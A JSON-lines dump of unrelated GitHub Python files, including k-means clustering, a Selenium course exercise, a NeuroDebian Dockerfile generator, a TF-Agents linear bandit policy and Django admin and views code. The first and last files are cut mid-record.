the %d iteration' % iter)\r\n \"\"\"\r\n Returns the final stable centroid, as well as the centroid and \r\n distance to which each sample belongs.\r\n \"\"\"\r\n return centroids, clusterAssment\r\n\r\n\r\nif __name__ == '__main__':\r\n # -----------------------------------test-------------------------------------\r\n # Using test data and test k-means algorithm\r\n dataSet = mat(loadDataSet('C:/Users/DELL/Desktop/wine.csv'))\r\n # print('randInitCent is:', randInitCent(dataSet, 5))\r\n myCentroids, clustAssing = kMeans(dataSet, 5)\r\n print('myCentroids is:\\n', myCentroids)\r\n print('myCentroids shape is:', myCentroids.shape)\r\n # print('clustAssing[:, 0]--The categories of m rows of data are:\\n', clustAssing[:, 0])\r\n print('clustAssing shape is: ', clustAssing.shape)\r\n # print(clustAssing) # matrix Centroid and distance to which each sample belongs\r\n a = clustAssing[:, 0]\r\n\r\n list = [] # Create an empty list\r\n for x in a.flat:\r\n list.append(int(x)) # Pass the result of loop c into the array\r\n print('The list of classes corresponding to all samples is:', list)\r\n\r\n myset = set(list)\r\n for item in myset:\r\n print(\"Cluster %d has %d instances\" % (item, list.count(item)))\r\n\r\n\r\n","repo_name":"chenjing999/Machine-Learning","sub_path":"src/kmeans_clustering.py","file_name":"kmeans_clustering.py","file_ext":"py","file_size_in_byte":5351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"8267590479","text":"# В данной задаче вам нужно будет снова преодолеть капчу для роботов и\r\n# справиться с ужасным и огромным футером, который дизайнер всё никак не успевает переделать.\r\n# Вам потребуется написать код, чтобы:\r\n# Открыть страницу http://SunInJuly.github.io/execute_script.html.\r\n# Считать значение для переменной x.\r\n# Посчитать математическую функцию от x.\r\n# Проскроллить страницу вниз.\r\n# Ввести ответ в текстовое поле.\r\n# Выбрать checkbox \"I'm the robot\".\r\n# Переключить radiobutton \"Robots rule!\".\r\n# Нажать на кнопку \"Submit\".\r\nfrom selenium.webdriver.support.ui import Select\r\nfrom selenium import webdriver\r\nimport time\r\nfrom math import *\r\n\r\n\r\ndef calk(y):\r\n return log(abs(12 * sin(x)))\r\n\r\n\r\ntry:\r\n browser = webdriver.Chrome()\r\n browser.get(\"http://suninjuly.github.io/execute_script.html\")\r\n x = int(browser.find_element_by_css_selector('[id=\"input_value\"]').text)\r\n y = calk(x)\r\n browser.execute_script(\"window.scrollBy(0, 130);\")\r\n inp = browser.find_element_by_css_selector('[id=\"answer\"]')\r\n inp.send_keys(str(y))\r\n rad = browser.find_element_by_css_selector('[id=\"robotCheckbox\"]').click()\r\n rob = browser.find_element_by_css_selector('[id=\"robotsRule\"]').click()\r\n btn = browser.find_element_by_css_selector('.btn').click()\r\n\r\n\r\nfinally:\r\n\r\n time.sleep(30)\r\n\r\n browser.quit()\r\n","repo_name":"MiLara8888/seleniumwebdriver_test","sub_path":"selenium2.py","file_name":"selenium2.py","file_ext":"py","file_size_in_byte":1650,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"71851463592","text":"#Refaça o 51 usando while\n#Um programa que leia o PRIMEIRO TERMO e a RAZÃO de um PA.\n# No final, mostre os 10 primeiros termos dessa progressão\n\npt = int(input('Digite o primeiro termo da PA: '))\nr = int(input('Digite a razão desa PA: '))\ncont = 1\nwhile cont <= 10:\n print(f'{pt} > ', end='')\n pt = pt + r\n cont += 1\n","repo_name":"palhaogv/Python-exercises","sub_path":"ex061.py","file_name":"ex061.py","file_ext":"py","file_size_in_byte":330,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"19290976357","text":"birthdays={}\r\nn=int(input(\"Enter the number of inputs: \"))\r\nprint(\"Input {} names and their bithdays\".format(n))\r\nfor i in range (n):\r\n name=input(\"Name: \")\r\n birthday=input(\"Birthday: \")\r\n birthdays[name]=birthday\r\n\r\nname=input(\"Enter a name whose b'day you want to know: \")\r\nbday=birthdays[name]\r\nprint(name,\"'s birthday is on\",bday)","repo_name":"JunaTeresMartin/Python_Programs","sub_path":"exercises_beginnerLevel/bday_dict.py","file_name":"bday_dict.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"965577412","text":"from sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\nimport entities.league_of_legends_entities as lole\n\n__author__ = 'Greg'\n\nteam_id_mappings = {'LGD Gaming': 10007,\n 'KOO Tigers': 3641,\n 'Midnight Sun e-Sports': 3679,\n 'Oh My God': 10000,\n 'Gambit Gaming': 69,\n 'Invictus Gaming': 10009,\n 'Ever': 4989,\n 'paiN Gaming': 583,\n 'SBENU SONICBOOM': 4327,\n 'Machi': 2643,\n 'Masters 3': 10002,\n 'Team King': 10008,\n 'Team Impulse': 3657,\n 'Longzhu Incredible Miracle': 889,\n 'Origen': 3862,\n 'H2K': 1273,\n 'Xenics Storm': 1010,\n 'Dark Wolves': 4987,\n 'Reason Gaming': 1274,\n 'Team Liquid': 3654,\n 'Winners': 4326,\n 'Mousesports': 252,\n 'Team SoloMid': 1,\n 'Rebels Anarchy': 4325,\n 'Team Imagine': 4420,\n 'Samsung Galaxy': 3642,\n 'Snake eSports': 10011,\n 'Royal Never Give Up': 10004,\n 'Kaos Latin Gamers': 4876,\n 'Gamers2': 4035,\n 'Flash Wolves': 1694,\n 'Vici Gaming': 10003,\n 'SK Gaming': 67,\n 'Copenhagen Wolves Academy': 3865,\n 'Team Coast': 5,\n 'Team WE': 10005,\n 'Giants Gaming': 71,\n 'Jin Air Green Wings': 998,\n 'Enemy Esports': 3494,\n 'Cloud9': 304,\n 'NaJin e-mFire': 895,\n 'Counter Logic Gaming': 2,\n 'KT Rolster': 642,\n 'ROCCAT': 1242,\n 'Elements': 3659,\n 'Winterfox': 3658,\n 'SKTelecom T1': 684,\n 'Detonation FocusMe': 4875,\n 'Unlimited Potential': 10001,\n 'Gravity': 3656,\n 'CJ ENTUS': 640,\n 'EDward Gaming': 10006,\n 'Dark Passage': 585,\n 'Bangkok Titans': 1024,\n 'Chiefs eSports Club': 4874,\n 'Team 8': 1258,\n 'Qiao Gu Reapers': 10010,\n 'Hard Random': 4873,\n 'Fnatic': 68,\n 'Team Dignitas': 3,\n 'Copenhagen Wolves': 1100,\n 'Taipei Assassins': 974,\n 'Assassin Sniper': 4360,\n 'Team Dragon Knights': 3856,\n 'Logitech G Sniper': 3677,\n 'ahq e-Sports Club': 949,\n 'Unicorns of Love': 1281,\n 'HongKong Esports': 3680,\n 'Team Fusion': 3495}\nteam_external_mappings = {'H2K': 'H2k-Gaming', 'SKTelecom T1': 'SK Telecom T1'}\n\n\nengine = create_engine('postgresql://postgres:postgres@localhost:5432/yolobid', echo=True)\nSession = sessionmaker(bind=engine)\n\n\ndef insert_teams():\n session = Session()\n for name, id in team_id_mappings.items():\n if name in team_external_mappings:\n team = lole.Team(name=name.upper(), external_name=team_external_mappings[name].upper(), external_id=id)\n else:\n team = lole.Team(name=name.upper(), external_name=name.upper(), external_id=id)\n session.add(team)\n session.commit()\n\nif __name__ == '__main__':\n insert_teams()\n\n\n\n","repo_name":"gregorylivschitz/league_playoff_game_predictor","sub_path":"initial_load_teams.py","file_name":"initial_load_teams.py","file_ext":"py","file_size_in_byte":3654,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"40578799857","text":"\"\"\"Add Dockerfile instructions to add NeuroDebian repository.\"\"\"\n# Author: Jakub Kaczmarzyk <jakubk@mit.edu>\n\nfrom neurodocker.utils import check_url, indent, manage_pkgs\n\n\nclass NeuroDebian(object):\n \"\"\"Object to add NeuroDebian repository.\n\n Parameters\n ----------\n os_codename : str\n Operating system codename (e.g., 'zesty', 'jessie').\n download_server : {'australia', 'china-tsinghua', 'china-scitech',\n 'china-zhejiang', 'germany-munich', 'germany-magdeburg',\n 'greece', 'japan', 'usa-ca', 'usa-nh', 'usa-tn'}\n The server to use to download NeuroDebian packages. Choose the one\n closest to you.\n full : bool\n If true (default), use the full NeuroDebian sources. If false, use the\n libre sources.\n pkgs : str or list or tuple\n Packages to install from NeuroDebian.\n pkg_manager : {'apt'}\n Linux package manager.\n check_urls : bool\n If true, raise error if a URL used by this class responds with an error\n code.\n \"\"\"\n\n SERVERS = {'australia': 'au',\n 'china-tsinghua': 'cn-bj1',\n 'china-scitech': 'cn-bj2',\n 'china-zhejiang': 'cn-zj',\n 'germany-munich': 'de-m',\n 'germany-magdeburg': 'de-md',\n 'greece': 'gr',\n 'japan': 'jp',\n 'usa-ca': 'us-ca',\n 'usa-nh': 'us-nh',\n 'usa-tn': 'us-tn',}\n\n def __init__(self, os_codename, download_server, full=True, pkgs=None,\n pkg_manager='apt', check_urls=True):\n self.pkgs = pkgs\n self.check_urls = check_urls\n\n download_server = self._get_server(download_server)\n suffix = \"full\" if full else \"libre\"\n self.url = self._create_url(os_codename, download_server, suffix)\n if self.check_urls:\n check_url(self.url)\n\n self.cmd = self._create_cmd()\n\n def _create_cmd(self):\n comment = (\"#--------------------------------------------------\"\n \"\\n# Add NeuroDebian repository\"\n \"\\n# Please note that some packages downloaded through\"\n \"\\n# NeuroDebian may have restrictive licenses.\"\n \"\\n#--------------------------------------------------\")\n\n chunks = [comment, self._add_neurodebian()]\n if self.pkgs is not None and self.pkgs:\n chunks.append(self._install_pkgs())\n return \"\\n\".join(chunks)\n\n @classmethod\n def _get_server(cls, download_server):\n try:\n return cls.SERVERS[download_server]\n except KeyError:\n raise ValueError(\"Invalid download server: {}\"\n \"\".format(download_server))\n\n @staticmethod\n def _create_url(os_codename, download_server, suffix):\n \"\"\"Return neurodebian URL.\"\"\"\n try:\n from urllib.parse import urljoin # Python 3\n except ImportError:\n from urlparse import urljoin # Python 2\n\n base = \"http://neuro.debian.net/lists/\"\n rel = \"{0}.{1}.{2}\".format(os_codename, download_server, suffix)\n return urljoin(base, rel)\n\n def _add_neurodebian(self):\n \"\"\"Return instruction to add NeuroDebian repository.\"\"\"\n pkgs = \"dirmngr gnupg\"\n cmd = (\"{install}\"\n \"\\n&& {clean}\"\n \"\\n&& curl -sSL {url}\"\n \"\\n> /etc/apt/sources.list.d/neurodebian.sources.list\"\n \"\\n&& curl -sSL https://dl.dropbox.com/s/zxs209o955q6vkg/neurodebian.gpg\"\n \"\\n| apt-key add -\"\n # Syntax from\n # https://github.com/poldracklab/fmriprep/blob/master/Dockerfile#L21\n \"\\n&& (apt-key adv --refresh-keys --keyserver\"\n \" hkp://pool.sks-keyservers.net:80 0xA5D32F012649A5A9 || true)\"\n \"\\n&& apt-get update\"\n \"\".format(url=self.url, **manage_pkgs['apt']).format(pkgs=pkgs))\n return indent(\"RUN\", cmd)\n\n def _install_pkgs(self):\n \"\"\"Return instruction to install NeuroDebian packages.\"\"\"\n if isinstance(self.pkgs, (list, tuple)):\n self.pkgs = \" \".join(self.pkgs)\n\n cmd = (\"{install}\\n&& {clean}\".format(**manage_pkgs['apt'])\n .format(pkgs=self.pkgs))\n comment = \"\\n# Install NeuroDebian packages\"\n return \"\\n\".join((comment, indent(\"RUN\", cmd)))\n","repo_name":"mvdoc/neurodocker","sub_path":"neurodocker/interfaces/neurodebian.py","file_name":"neurodebian.py","file_ext":"py","file_size_in_byte":4410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"72"} +{"seq_id":"30324659831","text":"from PyQt5.QtCore import QObject, pyqtSignal\nfrom PyQt5.QtWidgets import QDialog, QApplication, QVBoxLayout\nimport matplotlib.pyplot as plt\nfrom matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as FigureCanvas\nfrom matplotlib.backends.backend_qt5agg import NavigationToolbar2QT\nfrom shutil import copy2\nimport sys\nimport random\nimport os\n\n\nclass Signal(QObject):\n \"\"\"\n Defines only one signal when we need to emit that something happened\n \"\"\"\n finish = pyqtSignal(int)\n\n\nclass NavigationToolbar2QT(NavigationToolbar2QT):\n def __init__(self, canvas, parent):\n super().__init__(canvas, parent)\n self.signal = Signal() # Needed to fire a signal when we want to leave, e.g. calling our method close_plot\n\n # Only display the buttons we need, comment buttons you don't want to display\n NavigationToolbar2QT.toolitems = (\n ('Home', 'Reset original view', 'home', 'home'),\n ('Back', 'Back to previous view', 'back', 'back'),\n ('Forward', 'Forward to next view', 'forward', 'forward'),\n (None, None, None, None),\n ('Pan', 'Pan axes with left mouse, zoom with right', 'move', 'pan'),\n ('Zoom', 'Zoom to rectangle', 'zoom_to_rect', 'zoom'),\n # ('Subplots', 'Configure subplots', 'subplots', 'configure_subplots'),\n (None, None, None, None),\n # ('Save', 'Save the figure', 'filesave', 'save_figure'),\n ('Quit', 'Close the window', 'exit', 'close_plot'),\n )\n\n def close_plot(self):\n self.signal.finish.emit(0)\n\n\nclass Plot(QDialog):\n def __init__(self):\n super().__init__()\n\n # Define a window (QDialog)\n self.graph = QDialog()\n\n # Define the figure, which contains all the plot elements and that will be imported in the canvas\n self.graph.figure = plt.figure()\n\n # Define the Canvas that is the area onto which the figure is drawn\n self.graph.canvas = FigureCanvas(self.graph.figure)\n\n # Set the graph in the window (self.graph)\n self.graph.canvas.move(0, 0)\n\n # Define our ToolBar that is overrode above to display only 5 buttons\n self.graph.toolbar = NavigationToolbar2QT(self.graph.canvas, self)\n\n # Set a layout to our window\n layout = QVBoxLayout()\n layout.addWidget(self.graph.toolbar)\n layout.addWidget(self.graph.canvas)\n self.graph.setLayout(layout)\n\n self._plot()\n\n # Connecting signal to the closing method\n self.graph.toolbar.signal.finish.connect(self.graph.close)\n\n # Show our window\n self.graph.show()\n\n def _plot(self):\n \"\"\"\n Plot your graph\n \"\"\"\n\n # random data\n data = [random.random() for i in range(25)]\n\n # reverse random data\n rev_data = data.copy()\n rev_data.reverse()\n\n # clear all\n self.graph.figure.clf()\n\n # create an axis\n ax1 = self.graph.figure.add_subplot(111)\n ax1.set_xlabel('X1')\n ax1.set_ylabel('Y1')\n\n # create another axis\n ax2 = ax1.twinx()\n ax2.set_ylabel('Y2')\n\n # plot data\n ax1.plot(data, '-', color='k')\n ax2.plot(rev_data, '-.', color='c')\n\n self.graph.canvas.draw()\n\n\nif __name__ == '__main__':\n try:\n mpl_path = os.path.join(sys.path[-1], os.path.join('matplotlib', os.path.join('mpl-data', 'images')))\n if not os.path.exists(mpl_path):\n print('Path not found, trying path for venv')\n mpl_path = os.path.join(sys.path[-3], os.path.join('matplotlib', os.path.join('mpl-data', 'images')))\n copy2('exit.png', mpl_path)\n copy2('exit_large.png', mpl_path)\n except FileNotFoundError and IndexError:\n print(f'Failed to import images to matplotlib image pool')\n app = QApplication(sys.argv)\n p = Plot()\n sys.exit(app.exec_())\n","repo_name":"Nqsir/Matplotlib_Canvas_NavigationToolBar","sub_path":"Navigationtoolbar.py","file_name":"Navigationtoolbar.py","file_ext":"py","file_size_in_byte":3855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"31156445398","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nfrom enum import Enum\n\nimport tensorflow as tf # pylint: disable=g-explicit-tensorflow-version-import\nimport tensorflow_probability as tfp\nfrom tf_agents.bandits.policies import linalg\nfrom tf_agents.bandits.policies import policy_utilities\nfrom tf_agents.policies import tf_policy\nfrom tf_agents.specs import tensor_spec\nfrom tf_agents.trajectories import policy_step\n\ntfd = tfp.distributions\n\n\nclass ExplorationStrategy(Enum):\n \"\"\"Possible exploration strategies.\"\"\"\n optimistic = 1\n sampling = 2\n\n\nclass LinearBanditPolicy(tf_policy.Base):\n \"\"\"Linear Bandit Policy to be used by LinUCB, LinTS and possibly others.\"\"\"\n\n def __init__(self,\n action_spec,\n cov_matrix,\n data_vector,\n num_samples,\n time_step_spec=None,\n exploration_strategy=ExplorationStrategy.optimistic,\n alpha=1.0,\n eig_vals=(),\n eig_matrix=(),\n tikhonov_weight=1.0,\n add_bias=False,\n emit_policy_info=(),\n emit_log_probability=False,\n observation_and_action_constraint_splitter=None,\n name=None):\n \"\"\"Initializes `LinearBanditPolicy`.\n\n The `a` and `b` arguments may be either `Tensor`s or `tf.Variable`s.\n If they are variables, then any assignements to those variables will be\n reflected in the output of the policy.\n\n Args:\n action_spec: `TensorSpec` containing action specification.\n cov_matrix: list of the covariance matrices A in the paper. There exists\n one A matrix per arm.\n data_vector: list of the b vectors in the paper. The b vector is a\n weighted sum of the observations, where the weight is the corresponding\n reward. Each arm has its own vector b.\n num_samples: list of number of samples per arm.\n time_step_spec: A `TimeStep` spec of the expected time_steps.\n exploration_strategy: An Enum of type ExplortionStrategy. The strategy\n used for choosing the actions to incorporate exploration. Currently\n supported strategies are `optimistic` and `sampling`.\n alpha: a float value used to scale the confidence intervals.\n eig_vals: list of eigenvalues for each covariance matrix (one per arm).\n eig_matrix: list of eigenvectors for each covariance matrix (one per arm).\n tikhonov_weight: (float) tikhonov regularization term.\n add_bias: If true, a bias term will be added to the linear reward\n estimation.\n emit_policy_info: (tuple of strings) what side information we want to get\n as part of the policy info. Allowed values can be found in\n `policy_utilities.PolicyInfo`.\n emit_log_probability: Whether to emit log probabilities.\n observation_and_action_constraint_splitter: A function used for masking\n valid/invalid actions with each state of the environment. The function\n takes in a full observation and returns a tuple consisting of 1) the\n part of the observation intended as input to the bandit policy and 2)\n the mask. The mask should be a 0-1 `Tensor` of shape `[batch_size,\n num_actions]`. This function should also work with a `TensorSpec` as\n input, and should output `TensorSpec` objects for the observation and\n mask.\n name: The name of this policy.\n \"\"\"\n if not isinstance(cov_matrix, (list, tuple)):\n raise ValueError('cov_matrix must be a list of matrices (Tensors).')\n self._cov_matrix = cov_matrix\n\n if not isinstance(data_vector, (list, tuple)):\n raise ValueError('data_vector must be a list of vectors (Tensors).')\n self._data_vector = data_vector\n\n if not isinstance(num_samples, (list, tuple)):\n raise ValueError('num_samples must be a list of vectors (Tensors).')\n self._num_samples = num_samples\n\n if not isinstance(eig_vals, (list, tuple)):\n raise ValueError('eig_vals must be a list of vectors (Tensors).')\n self._eig_vals = eig_vals\n\n if not isinstance(eig_matrix, (list, tuple)):\n raise ValueError('eig_matrix must be a list of vectors (Tensors).')\n self._eig_matrix = eig_matrix\n\n self._exploration_strategy = exploration_strategy\n if exploration_strategy == ExplorationStrategy.sampling:\n # We do not have a way to calculate log probabilities for TS yet.\n emit_log_probability = False\n\n self._alpha = alpha\n self._use_eigendecomp = False\n if eig_matrix:\n self._use_eigendecomp = True\n self._tikhonov_weight = tikhonov_weight\n self._add_bias = add_bias\n\n if len(cov_matrix) != len(data_vector):\n raise ValueError('The size of list cov_matrix must match the size of '\n 'list data_vector. Got {} for cov_matrix and {} '\n 'for data_vector'.format(\n len(self._cov_matrix), len((data_vector))))\n if len(num_samples) != len(cov_matrix):\n raise ValueError('The size of num_samples must match the size of '\n 'list cov_matrix. Got {} for num_samples and {} '\n 'for cov_matrix'.format(\n len(self._num_samples), len((cov_matrix))))\n if tf.nest.is_nested(action_spec):\n raise ValueError('Nested `action_spec` is not supported.')\n\n self._num_actions = action_spec.maximum + 1\n if self._num_actions != len(cov_matrix):\n raise ValueError(\n 'The number of elements in `cov_matrix` ({}) must match '\n 'the number of actions derived from `action_spec` ({}).'.format(\n len(cov_matrix), self._num_actions))\n if observation_and_action_constraint_splitter is not None:\n context_shape = observation_and_action_constraint_splitter(\n time_step_spec.observation)[0].shape.as_list()\n else:\n context_shape = time_step_spec.observation.shape.as_list()\n self._context_dim = (\n tf.compat.dimension_value(context_shape[0]) if context_shape else 1)\n if self._add_bias:\n # The bias is added via a constant 1 feature.\n self._context_dim += 1\n cov_matrix_dim = tf.compat.dimension_value(cov_matrix[0].shape[0])\n if self._context_dim != cov_matrix_dim:\n raise ValueError('The dimension of matrix `cov_matrix` must match '\n 'context dimension {}.'\n 'Got {} for `cov_matrix`.'.format(\n self._context_dim, cov_matrix_dim))\n\n data_vector_dim = tf.compat.dimension_value(data_vector[0].shape[0])\n if self._context_dim != data_vector_dim:\n raise ValueError('The dimension of vector `data_vector` must match '\n 'context dimension {}. '\n 'Got {} for `data_vector`.'.format(\n self._context_dim, data_vector_dim))\n\n self._dtype = self._data_vector[0].dtype\n self._emit_policy_info = emit_policy_info\n predicted_rewards_mean = ()\n if policy_utilities.InfoFields.PREDICTED_REWARDS_MEAN in emit_policy_info:\n predicted_rewards_mean = tensor_spec.TensorSpec([self._num_actions],\n dtype=self._dtype)\n predicted_rewards_sampled = ()\n if (policy_utilities.InfoFields.PREDICTED_REWARDS_SAMPLED in\n emit_policy_info):\n predicted_rewards_sampled = tensor_spec.TensorSpec([self._num_actions],\n dtype=self._dtype)\n info_spec = policy_utilities.PolicyInfo(\n predicted_rewards_mean=predicted_rewards_mean,\n predicted_rewards_sampled=predicted_rewards_sampled)\n\n super(LinearBanditPolicy, self).__init__(\n time_step_spec=time_step_spec,\n action_spec=action_spec,\n info_spec=info_spec,\n emit_log_probability=emit_log_probability,\n observation_and_action_constraint_splitter=(\n observation_and_action_constraint_splitter),\n name=name)\n\n def _variables(self):\n all_vars = (self._cov_matrix + self._data_vector + self._num_samples +\n list(self._eig_matrix) + list(self._eig_vals))\n return [v for v in all_vars if isinstance(v, tf.Variable)]\n\n def _distribution(self, time_step, policy_state):\n observation = time_step.observation\n observation_and_action_constraint_splitter = (\n self.observation_and_action_constraint_splitter)\n if observation_and_action_constraint_splitter is not None:\n observation, mask = observation_and_action_constraint_splitter(\n observation)\n observation = tf.cast(observation, dtype=self._dtype)\n if self._add_bias:\n # The bias is added via a constant 1 feature.\n observation = tf.concat([\n observation,\n tf.ones([tf.shape(observation)[0], 1], dtype=self._dtype)\n ],\n axis=1)\n # Check the shape of the observation matrix. The observations can be\n # batched.\n if not observation.shape.is_compatible_with([None, self._context_dim]):\n raise ValueError('Observation shape is expected to be {}. Got {}.'.format(\n [None, self._context_dim], observation.shape.as_list()))\n observation = tf.reshape(observation, [-1, self._context_dim])\n\n est_rewards = []\n confidence_intervals = []\n for k in range(self._num_actions):\n if self._use_eigendecomp:\n q_t_b = tf.matmul(\n self._eig_matrix[k],\n tf.linalg.matrix_transpose(observation),\n transpose_a=True)\n lambda_inv = tf.divide(\n tf.ones_like(self._eig_vals[k]),\n self._eig_vals[k] + self._tikhonov_weight)\n a_inv_x = tf.matmul(\n self._eig_matrix[k], tf.einsum('j,jk->jk', lambda_inv, q_t_b))\n else:\n a_inv_x = linalg.conjugate_gradient_solve(\n self._cov_matrix[k] +\n self._tikhonov_weight * tf.eye(\n self._context_dim, dtype=self._dtype),\n tf.linalg.matrix_transpose(observation))\n est_mean_reward = tf.einsum('j,jk->k', self._data_vector[k], a_inv_x)\n est_rewards.append(est_mean_reward)\n\n ci = tf.reshape(\n tf.linalg.tensor_diag_part(tf.matmul(observation, a_inv_x)),\n [-1, 1])\n confidence_intervals.append(ci)\n\n if self._exploration_strategy == ExplorationStrategy.optimistic:\n optimistic_estimates = [\n tf.reshape(mean_reward, [-1, 1]) + self._alpha * tf.sqrt(confidence)\n for mean_reward, confidence in zip(est_rewards, confidence_intervals)\n ]\n # Keeping the batch dimension during the squeeze, even if batch_size == 1.\n rewards_for_argmax = tf.squeeze(\n tf.stack(optimistic_estimates, axis=-1), axis=[1])\n elif self._exploration_strategy == ExplorationStrategy.sampling:\n mu_sampler = tfd.Normal(\n loc=tf.stack(est_rewards, axis=-1),\n scale=self._alpha *\n tf.sqrt(tf.squeeze(tf.stack(confidence_intervals, axis=-1), axis=1)))\n rewards_for_argmax = mu_sampler.sample()\n else:\n raise ValueError('Exploraton strategy %s not implemented.' %\n self._exploration_strategy)\n if observation_and_action_constraint_splitter is not None:\n chosen_actions = policy_utilities.masked_argmax(\n rewards_for_argmax, mask, output_type=self._action_spec.dtype)\n else:\n chosen_actions = tf.argmax(\n rewards_for_argmax, axis=-1, output_type=self._action_spec.dtype)\n\n action_distributions = tfp.distributions.Deterministic(loc=chosen_actions)\n\n policy_info = policy_utilities.PolicyInfo(\n predicted_rewards_sampled=(\n rewards_for_argmax if policy_utilities.InfoFields\n .PREDICTED_REWARDS_SAMPLED in self._emit_policy_info else ()),\n predicted_rewards_mean=(\n tf.stack(est_rewards, axis=-1) if policy_utilities.InfoFields\n .PREDICTED_REWARDS_MEAN in self._emit_policy_info else ()))\n\n return policy_step.PolicyStep(\n action_distributions, policy_state, policy_info)\n","repo_name":"awilliea/Risk-based_RL_for_Optimal_Trading_Execution","sub_path":"tf_agents/bandits/policies/linear_bandit_policy.py","file_name":"linear_bandit_policy.py","file_ext":"py","file_size_in_byte":12085,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"72"} +{"seq_id":"9530427208","text":"# https://programmers.co.kr/learn/courses/30/lessons/62048\n\nfrom math import gcd\n\ndef solution(w,h):\n answer = 1\n \n total = w*h\n minus = w+h\n plus = gcd(w,h)\n \n answer = total - minus + plus\n return answer\n\nif __name__ == \"__main__\":\n w = 8\n h = 12\n print(solution(w,h))\n","repo_name":"feelgom/problem-solving","sub_path":"programmers/level2/멀쩡한사각형.py","file_name":"멀쩡한사각형.py","file_ext":"py","file_size_in_byte":304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"74118869033","text":"from collections import Counter\nimport heapq\n\n\nclass Solution:\n def reorganizeString(self, s: str) -> str:\n counter = Counter(s)\n max_heap = [(-count, char) for char, count in counter.items()]\n heapq.heapify(max_heap)\n\n prev = ()\n res = []\n while max_heap or prev:\n if prev and not max_heap:\n return ''\n neg_count, char = heapq.heappop(max_heap)\n neg_count += 1\n res.append(char)\n if prev:\n heapq.heappush(max_heap, prev)\n prev = ()\n if neg_count != 0:\n prev = (neg_count, char)\n\n return ''.join(res)\n","repo_name":"cabulous/leetcode","sub_path":"python/767.py","file_name":"767.py","file_ext":"py","file_size_in_byte":679,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"19934916627","text":"from django.contrib import admin\n\nfrom .models import Group, Post, Comment, Follow\n\n\nclass PostAdmin(admin.ModelAdmin):\n \"\"\"\"Модель для отображения и управления админ-зоной постов.\"\"\"\n list_display = (\n 'pk',\n 'text',\n 'pub_date',\n 'author',\n 'group',\n )\n list_editable = ('group',)\n search_fields = ('text',)\n list_filter = ('pub_date',)\n empty_value_display = '-пусто-'\n\n\nclass GroupAdmin(admin.ModelAdmin):\n \"\"\"\"Модель для отображения и управления админ-зоной групп.\"\"\"\n prepopulated_fields = {'slug': ('title',)}\n\n\nclass CommentAdmin(admin.ModelAdmin):\n \"\"\"\"Модель для отображения админ-зоны комментариев.\"\"\"\n list_display = (\n 'pk',\n 'post',\n 'text',\n 'author',\n 'created',\n )\n search_fields = ('text',)\n list_filter = ('created',)\n empty_value_display = '-пусто-'\n\n\nadmin.site.register(Post, PostAdmin)\nadmin.site.register(Group, GroupAdmin)\nadmin.site.register(Comment, CommentAdmin)\nadmin.site.register(Follow)\n","repo_name":"vvgornostaeva/api_final_yatube","sub_path":"yatube_api/posts/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1178,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"74134412372","text":"from django.shortcuts import render, HttpResponse\nfrom django.contrib.auth.forms import UserCreationForm, UserChangeForm\nfrom django.shortcuts import redirect\nfrom .models import (User, Profile, Tasks, Teams, NewsFeed)\nfrom django.template.response import TemplateResponse\nfrom django.views.generic import (CreateView, DeleteView, DetailView, FormView,\n ListView, RedirectView, TemplateView,\n UpdateView)\nfrom django.views.decorators.csrf import csrf_protect\nfrom django.views.decorators.csrf import requires_csrf_token\nfrom home.forms import Registration, EditProfile\nfrom django.db.models import Q\nfrom django.core.paginator import Paginator\n\n\n# Create your views here.\n\n\ndef homepage(request):\n return render(request, 'home/homepage.html')\n\nclass AgilePickerView(TemplateView):\n template_name = 'home/agile_picker.html'\n\n # def get(self, request):\n # teams = Teams.objects.all()\n # args = {'teams': teams}\n # return render(request, 'home/agilepicker.html', args)\n\n @requires_csrf_token\n def my_view(request):\n c = {}\n # ...\n return render(request, 'home/agile_picker.html', c)\n\nclass HomepageView(TemplateView):\n template_name = 'home/homepage.html'\n model = Profile\n\n def profilehomepage(self, request):\n args = {'user': request.user}\n return render(request, 'home/homepage.html', args)\n\n def post(self, request):\n p = request.POST\n action = request.POST.get('action', '')\n\n if action == 'post':\n NewsFeed.objects.create(post=p['post'], profile=p['profile'])\n return render(request, 'home/homepage.html')\n\n\n def get(self, request):\n newsfeed = NewsFeed.objects.all()\n args = {'NewsFeed': newsfeed}\n return render(request, 'home/homepage.html', args)\n\n @requires_csrf_token\n def my_view(request):\n c = {}\n # ...\n return render(request, 'home/homepage.html', c)\n\n\nclass SearchResultsView(TemplateView):\n template_name = 'home/searchresults.html'\n\n\nclass TeamViews(TemplateView):\n template_name = 'home/teams.html'\n\n def get(self, request):\n teams = Teams.objects.all()\n args = {'teams': teams}\n return render(request, 'home/teams.html', args)\n\n @requires_csrf_token\n def my_view(request):\n c = {}\n # ...\n return render(request, 'home/teams.html', c)\n\n\nclass TeamHomeViews(TemplateView):\n template_name = 'home/teamhome.html'\n\n def get(self, request):\n teams = Teams.objects.all()\n args = {'teams': teams}\n return render(request, 'home/teamhome.html', args)\n\n @requires_csrf_token\n def my_view(request):\n c = {}\n # ...\n return render(request, 'home/teamhome.html', c)\n\n\nclass ProfileView(TemplateView):\n template_name = 'home/profile.html'\n model = Profile\n\n def profile(self, request):\n args = {'user': request.user}\n return render(request, 'home/profile.html', args)\n\n def post(self, request):\n p = request.POST\n action = request.POST.get('action', '')\n\n if action == 